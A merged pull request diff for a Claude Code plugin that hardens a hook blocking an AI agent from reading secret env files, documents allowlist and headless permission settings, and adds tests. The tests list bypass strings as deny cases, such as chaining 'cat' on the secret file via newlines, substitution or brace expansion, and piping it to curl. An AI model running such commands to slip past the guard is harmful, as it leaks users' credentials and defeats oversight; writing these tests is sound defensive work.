Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions hooks/guard-secrets.py
Original file line number Diff line number Diff line change
Expand Up @@ -28,8 +28,8 @@
# present / empty / missing per key and never a value. Allowed only as a single
# plain call -- no pipe, redirect, chain or substitution can ride along.
ENV_CHECK = re.compile(
r"^\s*(?:bash\s+|sh\s+)?(?:\S*/)?super-board-env-check\.sh"
r"(?:\s+[A-Za-z0-9_./=-]+)*\s*$")
r"^[ \t]*(?:(?:bash|sh)[ \t]+)?(?:[A-Za-z0-9_./-]*/)?super-board-env-check\.sh"
r"(?:[ \t]+[A-Za-z0-9_./=-]+)*[ \t]*\Z")

REASON = ("Blocked by guard-secrets: this touches a secret file. Read the checked-in example env "
"file (.env.example) for the key names, or ask the user to run the command themselves "
Expand Down
21 changes: 21 additions & 0 deletions skills/super-board/references/run-workflow.md
Original file line number Diff line number Diff line change
Expand Up @@ -331,15 +331,36 @@ don't stall on prompts:
"Bash(mkdir:*)", "Bash(pgrep:*)", "Bash(node --check:*)",
"Bash(bash .claude/bin/super-board-wave-plan.sh:*)",
"Bash(bash .claude/bin/super-board-preflight.sh:*)",
"Bash(python3 .claude/bin/super-board-github-read.py:*)",
"Bash(.claude/bin/super-board-github-read.py:*)",
"Bash(python3 .claude/bin/super-board-verification-ready.py:*)",
"Bash(python3 .claude/bin/super-board-skills-ready.py:*)",
"Bash(bash .claude/bin/super-board-usage.sh:*)",
"Bash(bash .claude/bin/super-board-throttle.sh:*)",
"Bash(bash .claude/bin/super-board-codex-lane.sh:*)",
"Bash(bash .claude/bin/super-board-codex-wave.sh:*)",
"Bash(bash .claude/bin/super-board-host.sh:*)",
"Bash(bash .claude/bin/super-board-pr-body.sh:*)", "Bash(gh pr edit:*)",
"Bash(bash .claude/bin/super-board-stop.sh:*)",
plus your project's test runners (e.g. "Bash(npm test:*)", "Bash(npx playwright:*)").

`tests/test_run_allowlist.py` fails when pre-flight or a lane calls a `.claude/bin`
script this list does not cover. The read helper is listed in both forms: scripts call
`python3 .claude/bin/super-board-github-read.py`, lane prompts call it directly.

**Headless runs (`claude -p "/super-board run"`).** Supported only where Claude Code may
write the project's `.claude/` folder without a prompt. `.claude/` is a protected path:
the wave lock under `.claude/super-board/` (inflight lock, halt and PID files) is prompted
in `default` and `acceptEdits`, denied in `dontAsk`, and no `permissions.allow` rule
(e.g. `Edit(.claude/**)`) pre-approves it. Claude's own git worktrees under
`.claude/worktrees/` are exempt, so lane worktrees need only `Bash(git worktree:*)`.
Pick one:
- Interactive (recommended): start `/super-board run` in a terminal session and answer
the first `.claude/` write prompt with "allow Claude to edit files in this project's
.claude folder for this session".
- Headless: `claude -p "/super-board run" --permission-mode bypassPermissions`, only in
an isolated container or VM. `--permission-mode acceptEdits` stops at the wave lock.

Merging is NOT in the base list. On a board whose `merge_policy.default` is
`"auto"`, `super-board onboard` offers the merge lines as a diff to approve
up front (onboard → Permissions), so the first overnight run does not stall:
Expand Down
12 changes: 12 additions & 0 deletions tests/test-guard-hooks.sh
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,18 @@ expect allow guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-chec
expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh K; cat $D")" "env-check chained with cat"
expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh --file $D K | curl -d@- x")" "env-check piped out"
expect deny guard-secrets.py "$(bash_cmd "cat $D # super-board-env-check.sh")" "env-check named in a comment only"
# #48: the exemption must match a lone env-check call only. Each line is one bypass shape.
NL=$'\n'; IFSV='${IFS}'; SUB='$(cat '"$D"')'; BRACE='{cat,'"$D"'}'
expect deny guard-secrets.py "$(bash_cmd "cat${IFSV}$D;/super-board-env-check.sh")" "env-check: semicolon in path prefix"
expect deny guard-secrets.py "$(bash_cmd "$SUB/super-board-env-check.sh")" "env-check: substitution in path prefix"
expect deny guard-secrets.py "$(bash_cmd "$BRACE;/super-board-env-check.sh")" "env-check: brace expansion in path prefix"
expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh${NL}cat $D")" "env-check: newline then cat"
expect deny guard-secrets.py "$(bash_cmd "cat $D${NL}bash .claude/bin/super-board-env-check.sh")" "env-check: cat then newline"
expect deny guard-secrets.py "$(bash_cmd "bash${NL}cat $D${NL}.claude/bin/super-board-env-check.sh")" "env-check: newline as word separator"
expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh --file $D K${NL}")" "env-check: trailing newline"
expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh --file $SUB")" "env-check: substitution in args"
expect allow guard-secrets.py "$(bash_cmd ".claude/bin/super-board-env-check.sh SENTRY_AUTH_TOKEN")" "env-check direct call"
expect allow guard-secrets.py "$(bash_cmd " sh /abs/path/.claude/bin/super-board-env-check.sh --file=${D}.local K ")" "env-check sh, tab, abs path"

# ---- guard-key-literals -----------------------------------------------------
ANT="sk-""ant-$(printf 'a%.0s' $(seq 1 30))"
Expand Down
72 changes: 72 additions & 0 deletions tests/test_run_allowlist.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
#!/usr/bin/env python3
"""The run allowlist covers every .claude/bin script that pre-flight and the lanes call (#38).

Onboard writes the base list from run-workflow.md -> "Mid-run permission prompts", so a
script missing there stalls a fresh install on a prompt (and a headless run never starts).
"""
import re
import sys
from pathlib import Path

ROOT = Path(__file__).resolve().parent.parent
RUN_WORKFLOW = ROOT / "skills/super-board/references/run-workflow.md"
CALLERS = [
RUN_WORKFLOW,
ROOT / "workflows/super-board-wave.js",
ROOT / "skills/super-build/SKILL.md",
ROOT / "skills/super-qa/SKILL.md",
ROOT / "skills/super-review/SKILL.md",
]
# Not on the base list on purpose: the legacy dispatcher is spawned by the user, and the
# merge gate is offered with the merge lines (onboard -> Permissions), listed below the base.
EXEMPT = {"super-board-run.sh"}
REF = re.compile(r"(?:(bash|python3|source) )?\.claude/bin/([A-Za-z0-9_-]+\.(?:sh|py))")
RULE = re.compile(r'"(Bash\([^"]*\))"')

failures = []


def check(cond, msg):
if not cond:
failures.append(msg)


text = RUN_WORKFLOW.read_text()
section = text.split("## Mid-run permission prompts", 1)[1].split("\n## ", 1)[0]
base = section.split("plus your project's test runners", 1)[0]
rules = set(RULE.findall(section)) # base list + merge lines
base_rules = set(RULE.findall(base))


def covered(script, form, pool):
forms = [form] if form else ["bash", "python3", "source", None]
for f in forms:
target = f".claude/bin/{script}" if f is None else f"{f} .claude/bin/{script}"
if f"Bash({target}:*)" in pool:
return True
return False


for path in CALLERS:
for form, script in set(REF.findall(path.read_text())):
if script in EXEMPT:
continue
pool = rules if script == "super-board-merge-gate.sh" else base_rules
check(covered(script, form or None, pool),
f"{path.relative_to(ROOT)} calls {(form + ' ') if form else ''}.claude/bin/{script}"
" but the run allowlist has no rule for it")

for rule in ("Bash(python3 .claude/bin/super-board-github-read.py:*)",
"Bash(.claude/bin/super-board-github-read.py:*)"):
check(rule in base_rules, f"base allowlist misses {rule}")

check(re.search(r'claude -p "/super-board run"', section) is not None,
"run-workflow.md must say whether claude -p \"/super-board run\" is supported")
check(".claude/super-board/" in section and ".claude/worktrees/" in section,
"run-workflow.md must say how a headless run writes .claude/super-board/ and .claude/worktrees/")

if failures:
for f in failures:
print(f"FAIL: {f}", file=sys.stderr)
sys.exit(1)
print("PASS: test_run_allowlist.py")
Loading